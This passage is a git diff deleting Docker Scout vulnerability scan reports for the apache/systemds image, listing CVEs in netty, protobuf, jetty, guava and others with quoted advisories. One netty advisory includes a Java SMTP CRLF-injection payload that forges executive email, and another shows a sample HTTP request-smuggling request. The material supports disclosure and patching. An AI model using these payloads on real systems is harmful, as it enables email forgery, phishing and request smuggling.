-low 2.0: CVE--2024--23454 Improper Privilege Management - - - - - - - - -
Affected range<3.4.0
Fixed version3.4.0
CVSS Score2
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
EPSS Score0.038%
EPSS Percentile11th percentile
- -
Description -
- -Apache Hadoop’s `RunJar.run()` does not set permissions for temporary directory by default. If sensitive data will be present in this file, all the other local users may be able to view the content. This is because, on unix-like systems, the system temporary directory is shared between all local users. As such, files written in this directory, without setting the correct posix permissions explicitly, may be viewable by all other local users. - -
-
-
-
critical: 0 high: 0 medium: 0 low: 0 unspecified: 1lz4 1.9.4-r5 (apk) - -pkg:apk/alpine/lz4@1.9.4-r5?os_name=alpine&os_version=3.20
-unspecified : CVE--2025--62813 - - - - - - -
Affected range<=1.9.4-r5
Fixed versionNot Fixed
EPSS Score0.018%
EPSS Percentile3rd percentile
- -
Description -
- - - -
-
-
- diff --git a/docker/scout_results/medium-cves/sysds_output11.md b/docker/scout_results/medium-cves/sysds_output11.md deleted file mode 100644 index 82fb2f8856a..00000000000 --- a/docker/scout_results/medium-cves/sysds_output11.md +++ /dev/null @@ -1,1424 +0,0 @@ - i New version 1.19.0 available (installed version is 1.18.3) at https://github.com/docker/scout-cli - ✓ Image stored for indexing - ✓ Indexed 357 packages - ✓ Provenance obtained from attestation - ✗ Detected 18 vulnerable packages with a total of 38 vulnerabilities - ✓ Report written to docker/scout_results/medium-cves/guava-simple.md -

:mag: Vulnerabilities of apache/systemds:latest

- -
:package: Image Reference apache/systemds:latest - - - - - -
digestsha256:8fdcf6ffb7df11412afcc0affa58fa447c88277d526d5024e100c26662273fc4
vulnerabilitiescritical: 1 high: 10 medium: 21 low: 5 unspecified: 1
platformlinux/amd64
size370 MB
packages357
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
critical: 1 high: 2 medium: 5 low: 0 io.netty/netty 3.10.6.Final (maven) - -pkg:maven/io.netty/netty@3.10.6.Final
-critical 9.1: CVE--2019--20444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score11.096%
EPSS Percentile93rd percentile
- -
Description -
- -HttpObjectDecoder.java in Netty before 4.1.44 allows an HTTP header that lacks a colon, which might be interpreted as a separate header with an incorrect syntax, or might be interpreted as an "invalid fold." - -
-
- -high 7.5: CVE--2021--37137 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score2.383%
EPSS Percentile85th percentile
- -
Description -
- -### Impact -The Snappy frame decoder function doesn't restrict the chunk length which may lead to excessive memory usage. Beside this it also may buffer reserved skippable chunks until the whole chunk was received which may lead to excessive memory usage as well. - -This vulnerability can be triggered by supplying malicious input that decompresses to a very big size (via a network stream or a file) or by sending a huge skippable chunk. - -### Impact - -All users of SnappyFrameDecoder are affected and so the application may be in risk for a DoS attach due excessive memory usage. - -### References -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L79 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L171 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L185 - -
-
- -high 7.5: CVE--2021--37136 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.021%
EPSS Percentile77th percentile
- -
Description -
- -### Impact -The Bzip2 decompression decoder function doesn't allow setting size restrictions on the decompressed output data (which affects the allocation size used during decompression). - - -All users of Bzip2Decoder are affected. The malicious input can trigger an OOME and so a DoS attack - -### Workarounds -No workarounds other than not using the `Bzip2Decoder` - -### References - -Relevant code areas: - -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L80 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L294 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L305 - -
-
- -medium 6.5: CVE--2021--43797 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
EPSS Score0.432%
EPSS Percentile62nd percentile
- -
Description -
- -### Impact - -Netty currently just skips control chars when these are present at the beginning / end of the header name. We should better fail fast as these are not allowed by the spec and could lead to HTTP request smuggling. - -Failing to do the validation might cause netty to "sanitize" header names before it forward these to another remote system when used as proxy. This remote system can't see the invalid usage anymore and so not do the validation itself. - - - -
-
- -medium 6.2: CVE--2021--21290 Creation of Temporary File With Insecure Permissions - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.2
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.025%
EPSS Percentile6th percentile
- -
Description -
- -### Impact - -When netty's multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled. - -The CVSSv3.1 score of this vulnerability is calculated to be a [6.2/10](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&version=3.1) - -### Vulnerability Details - -On unix-like systems, the temporary directory is shared between all user. As such, writing to this directory using APIs that do not explicitly set the file/directory permissions can lead to information disclosure. Of note, this does not impact modern MacOS Operating Systems. - -The method `File.createTempFile` on unix-like systems creates a random file, but, by default will create this file with the permissions `-rw-r--r--`. Thus, if sensitive information is written to this file, other local users can read this information. - -This is the case in netty's `AbstractDiskHttpData` is vulnerable. - -https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L80-L101 - -`AbstractDiskHttpData` is used as a part of the `DefaultHttpDataFactory` class which is used by `HttpPostRequestDecoder` / `HttpPostMultiPartRequestDecoder`. - -You may be affected by this vulnerability your project contains the following code patterns: - -```java -channelPipeline.addLast(new HttpPostRequestDecoder(...)); -``` - -```java -channelPipeline.addLast(new HttpPostMultiPartRequestDecoder(...)); -``` - -### Patches - -This has been patched in version `4.1.59.Final`. - -### Workarounds - -Specify your own `java.io.tmpdir` when you start the JVM or use `DefaultHttpDataFactory.setBaseDir(...)` to set the directory to something that is only readable by the current user. - -### References - - - [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html) - - [CWE-379: Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html) - -### Similar Vulnerabilities - -Similar, but not the same. - - - JUnit 4 - https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp - - Google Guava - https://github.com/google/guava/issues/4011 - - Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945 - - JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824 - -### For more information -If you have any questions or comments about this advisory: -* Open an issue in [netty](https://github.com/netty/netty) -* Email us [here](mailto:netty-security@googlegroups.com) - -### Original Report - -> Hi Netty Security Team, -> -> I've been working on some security research leveraging custom CodeQL queries to detect local information disclosure vulnerabilities in java applications. This was the result from running this query against the netty project: -> https://lgtm.com/query/7723301787255288599/ -> -> Netty contains three local information disclosure vulnerabilities, so far as I can tell. -> -> One is here, where the private key for the certificate is written to a temporary file. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L316-L346 -> -> One is here, where the certificate is written to a temporary file. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L348-L371 -> -> The final one is here, where the 'AbstractDiskHttpData' creates a temporary file if the getBaseDirectory() method returns null. I believe that 'AbstractDiskHttpData' is used as a part of the file upload support? If this is the case, any files uploaded would be similarly vulnerable. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L91 -> -> All of these vulnerabilities exist because `File.createTempFile(String, String)` will create a temporary file in the system temporary directory if the 'java.io.tmpdir' system property is not explicitly set. It is my understanding that when java creates a file, by default, and using this method, the permissions on that file utilize the umask. In a majority of cases, this means that the file that java creates has the permissions: `-rw-r--r--`, thus, any other local user on that system can read the contents of that file. -> -> Impacted OS: -> - Any OS where the system temporary directory is shared between multiple users. This is not the case for MacOS or Windows. -> -> Mitigation. -> -> Moving to the `Files` API instead will fix this vulnerability. -> https://docs.oracle.com/javase/8/docs/api/java/nio/file/Files.html#createTempFile-java.nio.file.Path-java.lang.String-java.lang.String-java.nio.file.attribute.FileAttribute...- -> -> This API will explicitly set the posix file permissions to something safe, by default. -> -> I recently disclosed a similar vulnerability in JUnit 4: -> https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp -> -> If you're also curious, this vulnerability in Jetty was also mine, also involving temporary directories, but is not the same vulnerability as in this case. -> https://github.com/eclipse/jetty.project/security/advisories/GHSA-g3wg-6mcf-8jj6 -> -> I would appreciate it if we could perform disclosure of this vulnerability leveraging the GitHub security advisories feature here. GitHub has a nice credit system that I appreciate, plus the disclosures, as you can see from the sampling above, end up looking very nice. -> https://github.com/netty/netty/security/advisories -> -> This vulnerability disclosure follows Google's [90-day vulnerability disclosure policy](https://www.google.com/about/appsecurity/) (I'm not an employee of Google, I just like their policy). Full disclosure will occur either at the end of the 90-day deadline or whenever a patch is made widely available, whichever occurs first. -> -> Cheers, -> Jonathan Leitschuh - -
-
- -medium 5.9: CVE--2021--21409 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score3.244%
EPSS Percentile87th percentile
- -
Description -
- -### Impact -The content-length header is not correctly validated if the request only use a single Http2HeaderFrame with the endStream set to to true. This could lead to request smuggling if the request is proxied to a remote peer and translated to HTTP/1.1 - -This is a followup of https://github.com/netty/netty/security/advisories/GHSA-wm47-8v5p-wjpj which did miss to fix this one case. - -### Patches -This was fixed as part of 4.1.61.Final - -### Workarounds -Validation can be done by the user before proxy the request by validating the header. - -
-
- -medium 5.9: CVE--2021--21295 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.360%
EPSS Percentile58th percentile
- -
Description -
- -### Impact -If a Content-Length header is present in the original HTTP/2 request, the field is not validated by `Http2MultiplexHandler` as it is propagated up. This is fine as long as the request is not proxied through as HTTP/1.1. -If the request comes in as an HTTP/2 stream, gets converted into the HTTP/1.1 domain objects (`HttpRequest`, `HttpContent`, etc.) via `Http2StreamFrameToHttpObjectCodec `and then sent up to the child channel's pipeline and proxied through a remote peer as HTTP/1.1 this may result in request smuggling. - -In a proxy case, users may assume the content-length is validated somehow, which is not the case. If the request is forwarded to a backend channel that is a HTTP/1.1 connection, the Content-Length now has meaning and needs to be checked. - -An attacker can smuggle requests inside the body as it gets downgraded from HTTP/2 to HTTP/1.1. A sample attack request looks like: - -``` -POST / HTTP/2 -:authority:: externaldomain.com -Content-Length: 4 - -asdfGET /evilRedirect HTTP/1.1 -Host: internaldomain.com -``` - -Users are only affected if all of this is `true`: - * `HTTP2MultiplexCodec` or `Http2FrameCodec` is used - * `Http2StreamFrameToHttpObjectCodec` is used to convert to HTTP/1.1 objects - * These HTTP/1.1 objects are forwarded to another remote peer. - - -### Patches -This has been patched in 4.1.60.Final - -### Workarounds -The user can do the validation by themselves by implementing a custom `ChannelInboundHandler` that is put in the `ChannelPipeline` behind `Http2StreamFrameToHttpObjectCodec`. - -### References -Related change to workaround the problem: https://github.com/Netflix/zuul/pull/980 - -
-
- -medium : CVE--2019--20445 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
EPSS Score2.837%
EPSS Percentile86th percentile
- -
Description -
- -HttpObjectDecoder.java in Netty before 4.1.44 allows a Content-Length header to be accompanied by a second Content-Length header, or by a Transfer-Encoding header. - -
-
-
-
critical: 0 high: 4 medium: 2 low: 0 com.google.protobuf/protobuf-java 3.7.1 (maven) - -pkg:maven/com.google.protobuf/protobuf-java@3.7.1
-high 8.7: CVE--2024--7254 Improper Input Validation - - - - - - - - -
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.085%
EPSS Percentile25th percentile
- -
Description -
- -### Summary -When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. - -Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team - -Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. - -### Severity -[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) -This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. - -### Proof of Concept -For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. - -### Remediation and Mitigation -We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: -* protobuf-java (3.25.5, 4.27.5, 4.28.2) -* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) -* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) - -
-
- -high 7.5: CVE--2022--3510 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.073%
EPSS Percentile22nd percentile
- -
Description -
- -A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. - -
-
- -high 7.5: CVE--2022--3509 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
- -
Description -
- -A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. - -
-
- -high 7.5: CVE--2021--22569 Incorrect Behavior Order - - - - - - - - -
Affected range<3.16.1
Fixed version3.16.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.291%
EPSS Percentile52nd percentile
- -
Description -
- -## Summary - -A potential Denial of Service issue in protobuf-java was discovered in the parsing procedure for binary data. - -Reporter: [OSS-Fuzz](https://github.com/google/oss-fuzz) - -Affected versions: All versions of Java Protobufs (including Kotlin and JRuby) prior to the versions listed below. Protobuf "javalite" users (typically Android) are not affected. - -## Severity - -[CVE-2021-22569](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22569) **High** - CVSS Score: 7.5, An implementation weakness in how unknown fields are parsed in Java. A small (~800 KB) malicious payload can occupy the parser for several minutes by creating large numbers of short-lived objects that cause frequent, repeated GC pauses. - -## Proof of Concept - -For reproduction details, please refer to the oss-fuzz issue that identifies the specific inputs that exercise this parsing weakness. - -## Remediation and Mitigation - -Please update to the latest available versions of the following packages: - -- protobuf-java (3.16.1, 3.18.2, 3.19.2) -- protobuf-kotlin (3.18.2, 3.19.2) -- google-protobuf [JRuby gem only] (3.19.2) - - -
-
- -medium 5.7: CVE--2022--3171 Improper Input Validation - - - - - - - - -
Affected range<3.16.3
Fixed version3.16.3
CVSS Score5.7
CVSS VectorCVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.083%
EPSS Percentile25th percentile
- -
Description -
- -## Summary -A potential Denial of Service issue in `protobuf-java` core and lite was discovered in the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated [embedded messages](http://developers.google.com/protocol-buffers/docs/encoding#embedded) with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. - -Reporter: [OSS Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771) - -Affected versions: This issue affects both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. - -## Severity - -[CVE-2022-3171](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3171) Medium - CVSS Score: 5.7 (NOTE: there may be a delay in publication) - -## Remediation and Mitigation - -Please update to the latest available versions of the following packages: - -protobuf-java (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-javalite (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-kotlin (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-kotlin-lite (3.21.7, 3.20.3, 3.19.6, 3.16.3) -google-protobuf [JRuby gem only] (3.21.7, 3.20.3, 3.19.6) - - -
-
- -medium 5.5: CVE--2021--22570 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range<3.15.0
Fixed version3.15.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.150%
EPSS Percentile36th percentile
- -
Description -
- -Nullptr dereference when a null char is present in a proto symbol. The symbol is parsed incorrectly, leading to an unchecked call into the proto file's name during generation of the resulting error message. Since the symbol is incorrectly parsed, the file is nullptr. - -
-
-
-
critical: 0 high: 1 medium: 2 low: 0 openssl 3.3.3-r0 (apk) - -pkg:apk/alpine/openssl@3.3.3-r0?os_name=alpine&os_version=3.20
-high : CVE--2025--9230 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.029%
EPSS Percentile8th percentile
- -
Description -
- - - -
-
- -medium : CVE--2025--9231 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
- -
Description -
- - - -
-
- -medium : CVE--2025--9232 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.028%
EPSS Percentile7th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 1 medium: 1 low: 0 org.eclipse.jetty/jetty-server 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-server@9.4.52.v20230823
-high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release - - - - - - - - -
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.073%
EPSS Percentile22nd percentile
- -
Description -
- -In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. - -
-
- -medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
- -
Description -
- -### Impact -Remote DOS attack can cause out of memory - -### Description -There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which -can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By -repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the -server's memory. - -### Affected Versions - -* Jetty 12.0.0-12.0.8 (Supported) -* Jetty 11.0.0-11.0.23 (EOL) -* Jetty 10.0.0-10.0.23 (EOL) -* Jetty 9.3.12-9.4.55 (EOL) - -### Patched Versions - -* Jetty 12.0.9 -* Jetty 11.0.24 -* Jetty 10.0.24 -* Jetty 9.4.56 - -### Workarounds - -Do not use `ThreadLimitHandler`. -Consider use of `QoSHandler` instead to artificially limit resource utilization. - -### References - -Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 com.fasterxml.jackson.core/jackson-core 2.13.4 (maven) - -pkg:maven/com.fasterxml.jackson.core/jackson-core@2.13.4
-high 8.7: CVE--2025--52999 Stack-based Buffer Overflow - - - - - - - - -
Affected range<2.15.0
Fixed version2.15.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.027%
EPSS Percentile7th percentile
- -
Description -
- -### Impact -With older versions of jackson-core, if you parse an input file and it has deeply nested data, Jackson could end up throwing a StackoverflowError if the depth is particularly large. - -### Patches -jackson-core 2.15.0 contains a configurable limit for how deep Jackson will traverse in an input document, defaulting to an allowable depth of 1000. Change is in https://github.com/FasterXML/jackson-core/pull/943. jackson-core will throw a StreamConstraintsException if the limit is reached. -jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs. - -### Workarounds -Users should avoid parsing input files from untrusted sources. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-codec-smtp 4.1.124.Final (maven) - -pkg:maven/io.netty/netty-codec-smtp@4.1.124.Final
-high 7.7: CVE--2025--59419 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') - - - - - - - - -
Affected range<4.1.128.Final
Fixed version4.1.128.Final
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score0.971%
EPSS Percentile76th percentile
- -
Description -
- -### Summary -An SMTP Command Injection (CRLF Injection) vulnerability in Netty's SMTP codec allows a remote attacker who can control SMTP command parameters (e.g., an email recipient) to forge arbitrary emails from the trusted server. This bypasses standard email authentication and can be used to impersonate executives and forge high-stakes corporate communications. - -### Details -The root cause is the lack of input validation for Carriage Return (\r) and Line Feed (\n) characters in user-supplied parameters. - -The vulnerable code is in io.netty.handler.codec.smtp.DefaultSmtpRequest, where parameters are directly concatenated into the SMTP command string. For example, when SmtpRequests.rcpt(recipient) is called, a malicious recipient string containing CRLF sequences can inject a new, separate SMTP command. - -Because the injected commands are sent from the server's trusted IP, any resulting emails will likely pass SPF and DKIM checks, making them appear legitimate to the victim's email client. - -### PoC -A minimal PoC involves passing a crafted string containing CRLF sequences to any `SmtpRequest` that accepts user-controlled parameters. - -**1. Malicious Payload** - -The core of the exploit is the payload, where new SMTP commands are injected into a parameter. - -```java -// The legitimate recipient is followed by an injected email sequence -String injected_recipient = "legit-recipient@example.com\r\n" + - "MAIL FROM:\r\n" + - "RCPT TO:\r\n" + - "DATA\r\n" + - "From: ceo@trusted-domain.com\r\n" + - "To: victim@anywhere.com\r\n" + - "Subject: Urgent: Phishing Email\r\n" + - "\r\n" + - "This is a forged email that will pass authentication checks.\r\n" + - ".\r\n" + - "QUIT\r\n"; -``` - -**2. Triggering the Vulnerability** - -The vulnerability is triggered when this payload is used to create an SMTP request. - -```java -// The Netty SMTP codec will fail to sanitize this input -SmtpRequest maliciousRequest = SmtpRequests.rcpt(injected_recipient); - -// When this request is sent to an SMTP server, the injected commands -// will be executed, sending a forged email. -channel.writeAndFlush(maliciousRequest); -``` - -**3. Full Reproduction Steps** - -A complete, runnable PoC is available as a GitHub Gist to demonstrate the full attack flow against a local SMTP server - -* **Full PoC Code:** https://gist.github.com/DepthFirstDisclosures/ddacca28cb94b48fa8ab998cef59ed8c - -To run the full PoC: - -1. **Set up a local SMTP server.** The easiest way is using MailHog: - * On macOS: `brew install mailhog && mailhog` - * Using Docker: `docker run -p 1025:1025 -p 8025:8025 mailhog/mailhog` -2. **Run the PoC code.** The code will connect to the SMTP server at `localhost:1025` and send the malicious payload. -3. **Verify the result.** Open the MailHog web UI at `http://localhost:8025`. You will see the forged email sent to `victim@anywhere.com` from `ceo@trusted-domain.com`. - -### Impact -This is a SMTP Command Injection vulnerability. It impacts any application using `netty-codec-smtp` to construct SMTP requests where an attacker can control or influence any of the SMTP string parameters (e.g., `from`, `recipient`, `helo` hostname). - -The primary impacts are: -* **Economic Manipulation & Disinformation:** Attackers can forge emails from high-value targets (e.g., corporate executives, government officials) and send them to journalists, financial institutions, or the public. A fraudulent email announcing false financial results, a fake merger, or a security breach could be used to manipulate stock prices or cause significant economic disruption. -* **Sophisticated Phishing:** Attackers can send high-fidelity phishing emails that bypass email authentication (SPF/DKIM) and appear to come from a trusted source, making them highly likely to deceive users. - -
-
-
-
critical: 0 high: 0 medium: 2 low: 1 com.google.guava/guava 14.0.1 (maven) - -pkg:maven/com.google.guava/guava@14.0.1
-medium 5.9: CVE--2018--10237 Deserialization of Untrusted Data - - - - - - - - -
Affected range>=11.0
<24.1.1-android
Fixed version24.1.1-android
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score3.259%
EPSS Percentile87th percentile
- -
Description -
- -Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable. - -
-
- -medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions - - - - - - - - -
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
- -
Description -
- -Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. - -Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. - -
-
- -low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding - - - - - - - - -
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
- -
Description -
- -A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 2 busybox 1.36.1-r29 (apk) - -pkg:apk/alpine/busybox@1.36.1-r29?os_name=alpine&os_version=3.20
-medium : CVE--2025--60876 - - - - - - -
Affected range<=1.36.1-r29
Fixed versionNot Fixed
EPSS Score0.052%
EPSS Percentile17th percentile
- -
Description -
- - - -
-
- -low : CVE--2025--46394 - - - - - - -
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.031%
EPSS Percentile8th percentile
- -
Description -
- - - -
-
- -low : CVE--2024--58251 - - - - - - -
Affected range<1.36.1-r31
